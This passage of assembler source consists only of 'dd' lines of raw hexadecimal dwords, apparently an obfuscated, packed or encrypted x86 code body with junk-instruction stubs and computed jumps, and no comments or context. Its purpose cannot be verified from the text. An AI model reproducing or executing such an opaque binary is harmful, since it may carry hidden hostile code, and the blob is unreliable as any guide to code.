8BF3896Eh, 0C4832434h, 3C8B5404h, 4C48324h dd 4F5F68h, 241C8900h, 0FF08478Fh, 815F2434h, 4C4h, 241C8B00h dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 0FFF9F657h dd 0BF0FA95Ch, 2B017321h, 0EC4617C5h, 0B8736375h, 62488C5h dd 0E0FFC503h, 1B643209h, 1AF447F3h, 33560D3Fh, 0DE8h dd 0B89D2200h, 128CDA3Eh, 545CB6Fh, 0BE96377h, 0C7000000h dd 9F17F40Dh, 454BAE74h, 0E959B885h, 0Dh, 6CD383A9h, 62C8BB46h dd 10A1E834h, 0F6C181B3h, 8A000059h, 1652BFDAh, 0B6BA0000h dd 8B5C7CE6h, 3AEB8131h, 81443D3Bh, 0A094D8EEh, 5E8601Fh dd 91000000h, 73A4F8D2h, 74D0A2BFh, 10E95E30h, 95000000h dd 1CC77FF4h, 94700F14h, 0DA899DCDh, 61ECB47Dh, 8F4EEE81h dd 8B661F83h, 3CC681D6h, 0F69DE5Fh, 0F556C2B7h, 8166018Fh dd 8338C2C2h, 8C0F02E9h, 3, 49D78B66h, 4F8AB449h, 0FF99850Fh dd 8A0FFFFFh, 3, 8DDE8B66h, 248AC18Dh, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 46B41F2Eh, 67B0C733h, 23758D89h, 0C081061Eh, 68F85E1Ch dd 0E9EA8153h, 5F771229h, 324D85C7h, 6CA0061Eh, 9D2B0000h dd 61E2AE1h, 316985C7h, 61Eh, 85890000h, 61E020Dh, 21F99523h dd 0B5FF061Eh, 61E32E5h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 63C35040h, 95FFA238h, 61E16B9h, 5E9h dd 6CF76100h, 6AE18Ah, 26C195FFh, 0C08B061Eh, 17CF7FEBh dd 0F687D890h, 1D5A7E10h, 3C70C6Fh, 5094D5E0h, 0B4FC61D7h dd 7D067F2Dh, 6AF43A08h, 0BE9AF175h, 16E3349Bh, 0C4A46B13h dd 91DB79B2h, 5C53926Bh, 82608308h, 0D39824D0h, 178EFCD3h dd 34505B49h, 320B9406h, 0C839D8h, 114F137Ah, 7158A345h dd 0C6B93FB5h, 64F59C5Dh, 1A386BC7h, 0C8BE4970h, 11B0416Fh dd 0B1A1EBA0h, 3C903B05h, 0B5AB483h, 9B208348h, 0AD092846h dd 463877F4h, 288D8D7Fh, 8906248Ch, 1E0C2985h, 6E906h dd 24040000h, 0E42DC31Ch, 23758D89h, 6A061Eh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 85C791C3h dd 61E324Dh, 5CC8h, 2739B58Bh, 85C7061Eh, 61E3169h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 50C35343h dd 94561504h, 1AA09A9Bh, 99950908h, 8B061E2Bh, 1E196585h dd 15B5FF06h, 6A061E04h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0FDA5C352h, 5C4B77h dd 18F744Eh, 0CCDB589h, 95FF061Eh, 61E16B9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0EAC35040h, 8B66E088h dd 0FF006AD1h, 1E26C195h, 0EBC08B06h, 7B15831Eh, 0DD84B6A8h dd 0E7989813h, 0DA654353h, 2C2DBBE1h, 2E14FDF0h, 0FE24FEF4h dd 0E8C39AD4h, 12h, 5A8C8284h, 0C3AF073h, 0DCA64A20h, 8F18521Fh dd 0BD8B5FE5h, 61E0081h, 0C281F85Ah, 7403h, 3574B9F8h dd 0C1810C98h, 0F367E76Ah, 0BD891A8Bh, 61E0C9Dh, 87C2C381h dd 0C4806688h, 0F3F38162h, 810235CCh, 327C4EF3h, 61B53176h dd 53061E13h, 8E9h, 0C5DB600h, 5A0DA5CDh, 60028FCAh, 0F61C680h dd 8361CABFh, 0DF8104EAh, 13AB7C24h, 1E981h, 850F0000h dd 0FFFFFFB0h, 0D870Fh, 8E90000h, 0C5000000h, 6EDCC7BFh dd 8D5999A4h, 248DFD8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 32C4242Ch, 3BBC94Bh, 8960DD9Fh dd 1E23758Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 8BD1A0F7h, 996B760Eh, 0EE9h, 7F918700h dd 0AA87FC9Ah, 0C78002FEh, 0C77F02F7h, 1E324D85h, 712C06h dd 9D315200h, 61E2A39h, 6985C75Bh, 61E31h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 107BC351h, 0DD0F970Dh, 8E0FDE3Ch, 15h, 10E9h, 45F5FF00h dd 7DF7488Fh, 0C0AE5B4Fh, 0EBC5E79Ah, 91B5FFD4h, 6A061E29h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0B72BC351h, 11BD8BB1h, 0FF061E19h, 1E16B995h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 9ECDA7A1h, 14CD858Bh, 6A061Eh, 26C195FFh dd 0C08B061Eh, 27611FEBh, 28CA9C5Ch, 549ED13Dh, 42809728h dd 4572A9C9h, 0FB0751C6h, 0D09D8A60h, 34961CE9h, 0C68D8DBCh dd 8906248Eh, 1E059D9Dh, 758D8906h, 6A061E23h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 136AC357h, 0E81CEC7Fh, 0Ch, 2BE5A300h, 0F55973F9h, 20E41E7Fh dd 5AD9B70Fh, 324D85C7h, 5924061Eh, 0E3810000h, 4066114Ah dd 316985C7h, 61Eh, 9D890000h, 61E01D1h, 327DB5FFh, 6A061Eh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0E42FF4C3h, 57863B23h, 0FF5F6EB9h, 1E16B995h, 298D0906h dd 6A061E2Bh, 0C195FF00h, 8B061E26h, 7E0EEBC0h, 0DE80A3ADh dd 77A06DECh, 6CD47814h, 7E851h, 48DA0000h, 0D8B71C58h dd 0B8D0FC4h, 60000000h, 89D2BF0Fh, 1E01898Dh, 1586106h dd 1E2DB585h, 4CC08106h, 8B000068h, 1E04298Dh, 6806h, 0B70F0000h dd 81665BF0h, 0FFB04AC9h, 5AF80334h, 12E9h, 72BFCA00h dd 6266718Bh, 66DC3FF2h, 189638A7h, 81163B93h, 0B0783CEAh dd 0B2C8BF77h, 0EA815968h, 4848F79Ah, 0FE9h, 9237AD00h dd 9A689087h, 34913AFFh, 0E7A637D1h, 0DC1BC281h, 95894AC4h dd 61E22D9h, 899D8952h, 8F061E1Bh, 0B5891804h, 61E0865h dd 15EDB58Bh, 0EB83061Eh, 0BE94B03h, 0CA000000h, 339D7F8Ah dd 0C11113C4h, 0FB81D293h, 0FFFF9898h, 16850Fh, 0BD8B0000h dd 61E2C65h, 21E9h, 8412CB00h, 941A6F9h, 4AD2DB64h, 0FFFF62E9h dd 67C2B0FFh, 0CDB2B0CCh, 0E2E3207Bh, 0B897909Ch, 8D8D6C58h dd 6249098h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 9C35040h, 0D300FD4h, 0F78B66B7h, 23758D89h, 6A061Eh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0EF42B6C3h, 1A8292E8h, 0BD09D872h, 61E161Dh, 324D85C7h dd 65F0061Eh, 0C7F50000h, 1E316985h, 6, 0D850F00h, 0E9000000h dd 8, 0D834125Bh, 2B7F681Bh, 3315B5FFh, 6A061Eh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 532820C3h, 0ADCDA452h, 0F9952960h, 0F061E0Ch, 6061C8BFh dd 26ED8D89h, 0CF80061Eh, 95FF61D0h, 61E16B9h, 7CDB8166h dd 0FF006A3Eh, 1E26C195h, 0EBC08B06h, 4939348h, 1C6E242Eh dd 160E6B0Dh, 0DA41B950h, 1B2CBE45h, 11729D8Ch, 54E1DD72h dd 0FB40F795h, 6837539Bh, 0F74023FBh, 0CD8E1285h, 1486E67Fh dd 10A3FDB9h, 41DD92A5h, 24A33116h, 7A88948Dh, 2D466CBh dd 4216E0EEh, 0E18D8D0Fh, 0E9062491h, 9, 0B318B6E4h, 53714E27h dd 31B58B25h, 89061E00h, 1E23758Dh, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 8222A780h dd 0C754680Ah, 1E324D85h, 628006h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 4A3E2865h dd 605CAB74h, 0B58BF025h, 61E2D85h, 316985C7h, 61Eh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0D3F7EEC3h, 15B5FF20h, 6A061E15h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 8CA8C353h dd 5A579C78h, 16B995FFh, 6A061Eh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 3CB55CC3h, 5F391976h dd 1DA99529h, 6A061Eh, 26C195FFh, 0C08B061Eh, 13BE0BEBh dd 4A33DB73h, 0A9965BD7h, 10E8F1h, 48320000h, 0DF657620h dd 0D83D59ABh, 12A469AAh, 58F8E557h, 5A43C081h, 0E9810000h dd 123C5D1Ch, 0BAh, 0D2D58000h, 8B0234FFh, 1E2E8DBDh, 0CF8B5E06h dd 3FCDC681h, 8D896113h, 61E300Dh, 52D2EE81h, 0BB604D70h dd 1187335h, 75858960h, 66061E17h, 6161F78Bh, 335CC681h dd 0C88B0C18h, 23103489h, 1E2A798Dh, 85BF5006h, 5F134F21h dd 6604EA83h, 815361BBh, 0FFA670FAh, 1E850FFFh, 60000000h dd 0BFFA8B66h, 60780030h, 27E961h, 89DD0000h, 0C0F6B71Ah dd 0ACE36A92h, 52199199h, 0FF82E942h, 8A45FFFFh, 1331E6C0h dd 0D62B1CCCh, 874C36A1h, 29A01FFAh, 15FE95Ah, 8B520000h dd 0E860D4h, 5D000000h, 92BBED81h, 428B0624h, 38453D08h dd 850F7826h, 138h, 8B0C428Bh, 0C8D3184Ah, 0C14220BBh dd 83C33355h, 858904E8h, 61E2375h, 8B04588Bh, 10428BF8h dd 0D3184A8Bh, 6654BEC8h, 0C633D732h, 0E083C72Bh, 4E883FCh dd 324D8589h, 428B061Eh, 69858914h, 8B061E31h, 0E9531842h dd 0B0h, 32E5B5FFh, 0B9E9061Eh, 0FF000000h, 1E19CDB5h dd 0AEE906h, 0B5FF0000h, 61E3315h, 0A3E9h, 0CDB5FF00h dd 0E9061E0Dh, 98h, 2931B5FFh, 8DE9061Eh, 0FF000000h, 1E0EA9B5h dd 82E906h, 0B5FF0000h, 61E1F59h, 77E9h, 75B5FF00h, 0E9061E14h dd 6Ch, 415B5FFh, 61E9061Eh, 0FF000000h, 1E13E5B5h, 56E906h dd 0B5FF0000h, 61E1EB5h, 4BE9h, 15B5FF00h dd 0E9061E15h, 40h, 2D11B5FFh, 35E9061Eh, 0FF000000h, 1E2991B5h dd 2AE906h, 0B5FF0000h, 61E327Dh, 1FE9h, 0B1B5FF00h, 0E9061E31h dd 14h, 0BB8D88Bh, 66000000h, 8D8DE3F7h, 624931Ch, 0E1FFC803h dd 16B995FFh, 8B5B061Eh, 1E237585h, 4583906h, 0F850Fh dd 6A530000h, 0C195FF01h, 5B061E26h, 0FFFFE2E9h, 0C35A61FFh dd 6AB85A61h, 0FF77D4C9h, 0B9858BE0h, 8D061E2Bh, 24940A8Dh dd 1418906h, 85C6C38Bh, 61E2041h, 30DF6856h, 0B5FFA9C5h dd 61E3291h, 78D1858Dh, 0D0FF0621h, 1F998D8Dh, 6A51061Eh dd 41B5FF40h, 0FF061E22h, 1E02E5B5h, 0FFD0FF06h, 1E2241B5h dd 0E5B5FF06h, 0E8061E02h, 12h, 132FB9C6h, 0D10D52D2h dd 0C699FB4Eh, 30B4E1BDh, 5E5E5BB8h, 0C104EE83h, 0C102242Ch dd 3022424h, 1CF72434h, 6824h, 0FF5F0000h, 81593734h, 648254C1h dd 9BE9815Eh, 81418C2Eh, 4B705AE9h, 3E0C8976h, 0A79EEF81h dd 0C7811392h, 1392A79Ah, 0F243C3Bh, 0FFFFD285h, 0C99D8DFFh dd 8B061E31h, 0FC00B03h, 784h, 8B038B00h, 1889045Bh, 0ABE9C98Bh dd 50000000h, 1C3F2E8Dh, 0DA5F72B1h, 95A7ACABh, 0F44592B3h dd 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh, 55207520h dd 0F26BB79Bh, 9692A5BCh, 3A7594A1h, 9FB79960h, 0B599BD32h dd 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h dd 0F07B6B5Ch, 8A924Ah, 45F352D0h, 0A3F653F5h, 44D6D979h dd 45E3AFF1h, 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h dd 0B293BCF9h, 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h dd 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h dd 1E80097h, 3D94E7A6h, 630A8332h, 0CDE934ACh, 68000013h dd 6249770h, 0F9EA0AE9h, 989168FFh, 0E90624h, 68FFF9EAh dd 624997Ah, 0F9E9F6E9h, 9AF268FFh, 0ECE90624h, 68FFF9E9h dd 6249B85h, 0F9E9E2E9h, 9C3B68FFh, 0D8E90624h, 68FFF9E9h dd 6249D0Fh, 0F9E9CEE9h, 9DCD68FFh, 0C4E90624h, 68FFF9E9h dd 6249E71h, 0F9E9BAE9h, 9FC068FFh, 0B0E90624h, 68FFF9E9h dd 624A0A5h, 0F9E9A6E9h, 0A25168FFh, 9CE90624h, 68FFF9E9h dd 624A377h, 0F9E992E9h, 0A5CD68FFh, 88E90624h, 68FFF9E9h dd 624A6CBh, 0F9E97EE9h, 4B152FFh, 2DF4748Fh, 5A1B9DB8h dd 8223CAE5h, 0A84DF20Dh, 0F500F233h, 1D38AD70h, 4863D885h dd 738E03A6h, 0BCBC31F0h, 68DA0A20h, 0C77C3F49h, 27D27089h dd 0F073C078h, 77FA1331h, 0D343A1B7h, 0CE133924h, 8704C5A7h dd 0E94573D5h, 1E00AF22h, 0CE43E285h, 0F7D746F3h, 2DAF73CFh dd 0E7FD1331h, 6F3925D0h, 0CFE5032Ah, 3F43EE8Ah, 3DBBD40Ch dd 0B36C7874h, 0A5EA3307h, 1F3D82F6h, 0D9D37188h, 58076B39h dd 8500E076h, 0FAC3307h, 0AAC0F8C9h, 3307853Ah, 6C28D71Ch dd 87E31E6Eh, 2F27h, 86B37100h, 4CB9CFEDh, 4C3F42FEh, 0A7EAFA10h dd 0D16C3306h, 78D4AEA6h, 0A0C7EEE8h, 0E7B828BEh, 57F43305h dd 0BFA4A211h, 0D15D87E4h, 0A7000000h, 1331F073h, 0D1B372FAh dd 0C77F6110h, 0B56409AEh, 8A6C31B6h, 0C5A74EF1h, 73E8892Ch dd 0D59C2039h, 878332F3h, 3924D652h, 321C063h, 24C746EAh dd 0B3DA9B7Dh, 0EC6110D1h, 0EAF2ED1h, 962446Bh, 0F254330h dd 3F42DBBAh, 0D1AC2166h, 0D7ED0B68h, 39276E43h, 9E44E47Fh dd 4B2B8554h, 2305AC4Ch, 41D3B62h, 2E49BE63h, 75760C89h dd 17CD825Dh, 0FF264D15h, 2C88973Dh, 0B1393BECh, 1129h dd 4EC37E03h, 77ECB533h, 0A419D85Ch, 0CE43E289h, 0FA6F32B3h dd 3BBCC7B9h, 5CE60176h, 6D112CA1h, 0B53853C8h, 0DB7777ECh dd 496A1FC5h, 0AA82373Fh, 2238F273h, 3924D2C2h, 33F67794h dd 3670E50Ch, 25D4991Dh, 0C4E28326h, 886A17ABh, 0CFA318C7h dd 961586B3h, 528AA8CFh, 981BB239h, 0F36F7D9h, 58EE3092h dd 0C271F4EFh, 43363FC6h, 0F614593Fh, 0EC9B5ADDh, 0DF6C740Ah dd 0D4573306h, 0EA922B0Dh, 0E8E5694Bh, 15B2C8A2h, 0C76260CFh dd 0D61B87E3h, 65000000h, 4F31F073h, 4E6C31B6h, 0D2E40016h dd 2D723924h, 0D3069C7Eh, 0E23924D6h, 621965Fh, 87E0C263h dd 6BA3C1B2h, 24CE8F55h, 6482C739h, 24CE964Eh, 0CC7BC039h dd 283E76AEh, 3924CEBCh, 9C485E9Ah, 0BA3924CEh, 1A304E75h dd 3924CECAh, 9C98478Ch, 3F42DC2Dh, 5E39AEF3h, 627896DBh dd 39276BA7h, 7D96B4F9h, 86C035F8h, 19AC384Eh, 65AA2CE6h dd 9B36B7B6h, 0BB73551Ch, 0E61A3FA5h, 0ABD2172Ch, 924C284h dd 9EA0EC2Ch, 100816h, 9441E200h, 0BD64041Fh, 0EA8B2D48h dd 12D35A75h, 38FD829Dh, 859082C3h, 0ADC83DE0h, 0D8F36815h dd 31E9356h, 4C4CC160h, 6B4A9AB0h, 570C3F49h, 61C547Fh dd 3924D2DEh, 85843378h, 1FC665E0h, 0E0557C3Dh, 0E8322C5h dd 4FBD543Ah, 0A22BFF40h, 941716C5h, 0A694C277h, 0F2E4611Ch dd 0AB8DB4F8h, 51C66F12h, 11F3B236h, 0E2CF578h, 0A6BC72F5h dd 3924D53Eh, 0CAACD318h, 0ABE55A09h, 9948ED92h, 59E087FFh dd 3DE4FA18h, 0E93F42F5h, 0D6852CD0h, 3A24562h, 0D22E0A21h dd 19B8D396h, 5BF1CBF2h, 2A902886h, 0A763BA7Fh, 0D15F325h dd 4056749Bh, 41998D05h, 97B0CE13h, 0AD6E5011h, 76C31CFEh dd 0D2E88625h, 355D3812h, 0F6D8FF44h, 0DAF00E35h, 3B7EB0D7h dd 9DB6D419h, 0CBE65B1Ah, 19C78928h, 0A5EE81AEh, 0F1F1BA3h dd 68F90000h, 9F1D38ADh, 0A24661D6h, 0F4738E03h, 189DB82Dh dd 0AD9FE055h, 0E3581DA2h, 0A7F3AC8h, 35AA4FEFh, 59CE971Ah dd 3DA7BD59h, 193F496Ch, 0BD548C64h, 2137FDAAh, 392550C3h dd 0C7D14E93h, 6C788EE1h, 0EA39255Dh, 3A017EA5h, 0F56EA040h dd 0FF828130h, 0DC81263Fh, 254704E0h, 0E60D5239h, 0B5334C04h dd 0BB7E3DECh, 2F8298B6h, 0C13F4349h, 0D2C077Ch, 0F80E4664h dd 330743ECh, 7AE4D6Ah, 8E3D6425h, 831F3870h, 0E07C7880h dd 91B863F6h, 433FEEAFh, 392588CAh, 627B99DEh, 886A19DCh dd 0E926EEF2h, 0DB21BE2Ch, 1806E6Ch, 3E278Eh, 0B3710000h dd 0B9CFED86h, 3F431FDFh, 763FC2DFh, 4356D394h, 0F271B396h dd 0AAE20027h, 5B1D2F13h, 6B53523h, 4DC26707h, 0AE77FA13h dd 98DF03FFh, 45E83306h, 6A0C279Ch, 325DE5C7h, 2B00000Eh dd 0CFED86B3h, 4968A1B9h, 0A6BFF73Fh, 7E666203h, 0D833003Dh dd 2B70E493h, 0BC6EF40Dh, 3E3EA6h, 0ACD31833h, 23C6DFFDh dd 7E6005AAh, 62196BDh, 87E0C263h, 8DA3C1B2h, 3924D22Eh dd 0F0FA3BD6h, 8A15E58h, 9D9CC366h, 0B8795B1Ah, 33B7391h dd 9F17236Ch, 6D697F87h, 2CDB0B77h, 0ECEB9ADFh, 1833A849h dd 95AECC95h, 0D82BFA0Dh, 7A3AA68Bh, 69C2A453h, 6F85A3D0h dd 32F91032h, 5B97599Eh, 0A3E602D8h, 0DA719A1h, 0E0810000h dd 7A5C035h, 2ACEE95Eh, 7CFB168Bh, 802540B5h, 352768DDh dd 6BE0852Ah, 9207B250h, 0BD32F777h, 0E1561FA2h, 0B52F45E1h dd 0A13F496Ch, 3B5414ECh, 4A79F6BBh, 0C3698088h, 845C5807h dd 7F392583h, 859BB9BAh, 3F4A183Eh, 20CB952Ch, 9BE0041Ah dd 31763301h, 2F25B9B4h, 48EF0C80h, 5EC12CA9h, 0C3BAFDD1h dd 0C2657E9Ch, 1093AE23h, 20B76F51h, 85BF349Bh, 22DF6391h dd 0AC8D4CFBh, 1E93A9C7h, 0D2391FA0h, 8A41CB8Dh, 8B8DEC29h dd 0D1403h, 0A855EE00h, 0D1901833h, 0F6BF415Ch, 1EC76681h dd 44E98EA9h dd 919C8ECFh, 0B9D449ECh, 0DCF76C29h, 722975Ah, 4848BD64h dd 6E4E96ACh, 53083F49h, 31F0737Bh, 9A33B64Fh, 0AC6D4F16h dd 0D26C788Eh, 0A5EA3924h, 15169C7Eh, 0D06260CFh, 71B81C5h dd 65000007h, 0CFED86B3h, 496817B9h, 0B4D2173Fh, 74561B9Bh dd 0CDE604B3h, 0DC168B2Ah, 46EB8BA4h, 3D9A4Ah, 0C877BC33h dd 6A726C9h, 99C08163h, 3DBF21B7h, 0F5443300h, 3D756F85h dd 9CE13300h, 881F5775h, 48E815A0h, 2B27D6BEh, 391E2486h dd 0D98529C0h, 0E2ECBEC5h, 0B87ABF33h, 0EC282B46h, 5E0C9496h dd 3800000Ch, 5E79EEABh, 87A217DEh, 0ACC73CE5h, 0D4EF640Dh dd 0D8198E53h, 975ADBE6h, 0BE7B0722h, 0E5882E49h, 13D25570h dd 0EC029E9Eh, 3F496EF8h, 73D1A95Eh, 7C1331F0h, 205211D6h dd 0DEF9EE8h, 4E30F174h, 1A9B32B5h, 0B54E3057h, 2A8C6E37h dd 1D09E329h, 6967D61Ch, 2281C59Bh, 646h, 0A548ED06h, 9B5302C3h dd 24D26A76h, 0DCA09939h, 24D31EC6h, 0E6FC3839h, 3924D2FEh dd 0C5EC1358h, 687F91A7h, 0EE853F49h, 0B3C9A3B9h, 72FAF9D8h dd 6110D1B3h, 1798B1EDh, 0DB8E5652h, 83C832FFh, 8FA73E5Ch dd 2417BBA7h, 839CBA69h, 0B1CC41E0h, 4AEF8F0Eh, 51E84123h dd 0B4CA0220h, 3300AC30h, 1432E126h, 1EAEB3FEh, 36F83D39h dd 0EC289862h, 8AE46C6Eh, 6400000Bh, 92AD22DFh, 0BBD64BEAh dd 0E8037839h, 102BA041h, 1455CA6Fh, 0D3961722h, 2BF435Eh dd 29CC728Dh, 4F1699B4h, 283EDADAh, 3F496FBCh, 730DE59Ah dd 0B64F31F0h, 0A907233h, 5654C309h, 0F81C5D0h, 58Ah, 8D48DAF3h dd 833BEAABh, 9EBD3B54h, 3F138F53h, 785A81EFh, 0F04908B7h dd 142D6583h, 9AB0CE93h, 3925034Ah, 1C18C70Ch, 3F499809h dd 677D93CFh, 0EF33006Dh, 4C6583AAh, 0D1EA08A9h, 9A28431h dd 0ED9CC362h, 0D5A73E78h, 5C0C8543h, 9F2221D0h, 825EF4D6h dd 81330070h, 0A545E3B8h, 70558Fh, 95BC0133h, 773A506Eh dd 79391E72h, 5C387234h, 3234EC28h, 0ACCAAh, 601DA600h dd 8928D0EBh, 0AE77F914h, 0D69F1E39h, 0FCA14661h, 49544687h dd 718C01A4h, 94AF24D1h, 0BFDA4F12h, 753Ch, 6F964E64h dd 0BC03F49h, 59F07333h, 8EA11D4h, 4325CC6Fh, 7F6104AAh dd 0BFA15CE6h, 10EA3051h, 6EDD2324h, 81C5D070h, 4BD29h dd 6F767300h, 9E3924D2h, 80B8D69Bh, 3C1EDB67h, 0D2766E84h dd 9BE03924h, 39C9C574h, 593F4968h, 0D7B277BEh, 0D7FEBC42h dd 541DA0B9h, 8021C4DFh, 0E94FE69Eh, 0CCFD11BCh, 0E45514C3h dd 0C25B718Fh, 6391E73h, 5BA5FFC1h, 0A7A9EC28h, 0A281Fh dd 0B4610200h, 0DD84243Fh, 0AAB4D68h, 32F37A95h, 581DA2BDh dd 0A5B0A2E3h, 0CDE85D00h, 0F8138835h, 233EB376h, 6C6CE180h dd 712ABAD0h, 772C3F49h, 0BA3B549Fh, 0B2D9981Fh, 0C0610403h dd 6F8F26DEh, 80647A8Eh, 0D6392521h, 991A1491h, 4BEEED9Ch dd 4447C8AAh, 8A94CFEh, 90BDBB93h, 0E70081C5h, 45ED9C45h dd 12Fh, 31F0738Fh, 7233B64Fh, 2AAC3FDh, 44F5B463h, 5EFB112Fh dd 383F42F0h, 216939A1h, 4BFAD2B6h, 1AB092D7h, 330626C6h dd 6076AEE6h, 33062684h, 596F8DD2h, 3306268Bh, 54D786CBh dd 7CA19F0Eh, 335A87E4h, 0A4000000h, 0A685BD54h, 91A9CBC5h dd 5D1623E2h, 0B9CF073Fh, 3925062Bh, 3B37E62Bh, 3F4330CAh dd 11A789CEh, 3306DACFh, 8BFA40DDh, 87E3CC8Dh, 0A846h dd 0F0739000h, 31B64F31h, 0B9D28A6Ch, 0CE8F7134h, 0D49D201Fh dd 0FD659F2h, 9356D8F1h, 0CC41F0B1h, 24FE35B4h, 0FE1DA039h dd 0FD1FFFEFh, 178CB385h, 5674FD3Ch, 7AC5871Eh, 0A2FF1E15h dd 3890F7F3h, 0C70C3F45h, 895B71A9h, 0CD3303E4h, 40E58988h dd 0D0EE9D5Eh, 0FE7336B7h, 6A6A2DC4h, 84E8BAD8h, 8C51D6D5h dd 4A3BECCAh, 4ED6D8F2h, 8D9h, 0FE732EB3h, 279C45E3h, 54C9680Ch dd 7EF3B239h, 0AA1FC263h, 0CB6C7769h, 0C96B126h, 3DC1DC51h dd 45E80378h, 8B27279Ch, 49716F75h, 5A32E73Fh, 0BA2FF273h dd 0E0551C9Fh, 31F0730Ch, 7233B64Fh, 2D8F3FDh, 54C10000h dd 18FAA73Bh, 0C1233957h, 953924D2h, 57E2A150h, 0D2D70D23h dd 6EF43924h, 0D3FA3FB3h, 8AE67DB5h, 413BBA04h, 0A7C6C271h dd 0C13F4336h, 0DC049A7Ch, 0D03306DFh, 807EED33h, 3987E3C7h dd 277h, 0E861041Dh, 0FEBFA140h, 41A3B9D7h, 153306D4h dd 766921D0h, 3924D271h, 0BAD899A0h, 496864A4h, 0D7F53A3Fh dd 0BC865C40h, 0DA895337h, 6100A3BCh, 872ED1ECh, 8A95069h dd 0D4B66526h, 97B5BE7Bh, 1EBD9C81h, 344A8239h, 2CE2B6B0h dd 3EB261A6h, 0A67937F9h, 4345EC28h, 7F4BBh, 8835CE00h dd 0B170F813h, 0D69F213Ch, 0FEA74661h, 24C96E89h, 717C6EAFh dd 99B429CCh, 0BCD74C09h, 0E702773Ah, 28289D44h, 726E768Ch dd 33E83F49h, 59F0735Bh, 6D1211D4h, 0EC83A1C8h, 5976924Ah dd 8E701F3Fh, 0D1B372F5h, 55074D50h, 65031CD2h, 0D024C0BCh dd 0ED323925h, 7B7951C6h, 3481C4D7h, 1B7h, 1ACAE018h, 3C3925C4h dd 549048F7h, 7CA9CEBDh, 748A50BFh, 39256470h, 0CB7AA1E6h dd 0A68829CCh, 56CB6A0Dh, 97B5BE7Bh, 0FEA7465Fh, 8206534Fh dd 0F53A3F43h, 0BD425B13h, 0F2D49D20h, 67280A31h, 4724BCB8h dd 0EB883307h, 5C3836A5h, 3DF187E3h, 3B000000h, 0CFED86B3h dd 42FE4CB9h, 25074C3Fh, 6A7518Fh, 8C235B33h, 1685E705h dd 0B77E02BAh, 0EEED14D5h, 7C8AA4Bh, 0BE8FD558h, 4C747086h dd 9DE23306h, 5A3432EEh, 0DED87E4h, 37000001h, 4F31F073h dd 4E6C31B6h, 0D2E40016h, 2D723924h, 60039C7Eh, 0E27DFC1h dd 26E7C974h, 54F57877h, 692A0CD5h, 6A0B2442h, 624E5C7h dd 24D2F4F0h, 6E1D6239h, 2518E1F9h, 5ADD3925h, 748A20C3h dd 39248070h, 0FD7AA1E6h, 6C071DA7h, 980D34C0h, 0D9F77CBDh dd 4529C4C3h, 0E0F62E3Fh, 3303D704h, 0D75292A8h, 0BF043303h dd 6107064Bh, 6E1DDEC0h, 5F97B5FAh, 0CF699027h, 0B3542D11h dd 3D82DB7h, 5B8E2933h, 5F87AB6Fh, 4443F219h, 4F89FEA3h dd 8B17B636h, 42BECCEh, 0B3B26122h, 0C38D1932h, 0A143DBFDh dd 7776D83h, 9ADF3304h, 0F711B173h, 0DBDDF249h, 64853h dd 0D4812200h, 0FDA4445Fh, 2ACB6D88h, 52139AB5h, 783DC2DDh dd 0C5D0C203h, 0ED087D20h, 1833A855h, 435ED396h, 8C8C01A0h dd 750ADAF0h, 974C3F49h, 2FF273BFh, 8BA1D911h, 3924D259h dd 28BCB8FDh, 2E3924D3h, 0D308DCF2h, 94E3924h, 0A3BE33E2h dd 18EC6100h, 4F31F073h, 0FD7233B6h, 6618AAC3h, 24D29450h dd 567DC239h, 20B9A7h, 73870000h, 0B64F31F0h, 0C907233h dd 9417C90Fh, 0E61E58CDh, 24D314D0h, 4EFD4239h, 2160h dd 3B542E00h, 4948F7BAh, 871DFFA6h, 3924D25Ah, 491A60E3h dd 0D2E9FB11h, 286D3924h, 2EF77A79h, 0BD54E5B9h, 3563F423h dd 0F6EE047Ch, 603924DEh, 0C0D6F41Bh, 3924DF24h, 3F3EED32h dd 0BA13F5BCh, 0BED4F27Fh, 3F49749Ch, 0B4361A6h, 0D1717174h dd 3D980D72h, 34341D63h, 0B3B26188h, 0E1FC7130h, 5CB5975Eh dd 607694DDh, 39255C5Bh, 2D4664A9h, 6DEF48Ah, 502CDC33h dd 0ADC6E40Bh, 47BC6B0Ah, 6E8892Ch, 0C9E78CADh, 0FA46EEB3h dd 0DB9DE232h, 0E6040B81h, 22C34B4Dh, 0FC000005h, 2A45BA67h 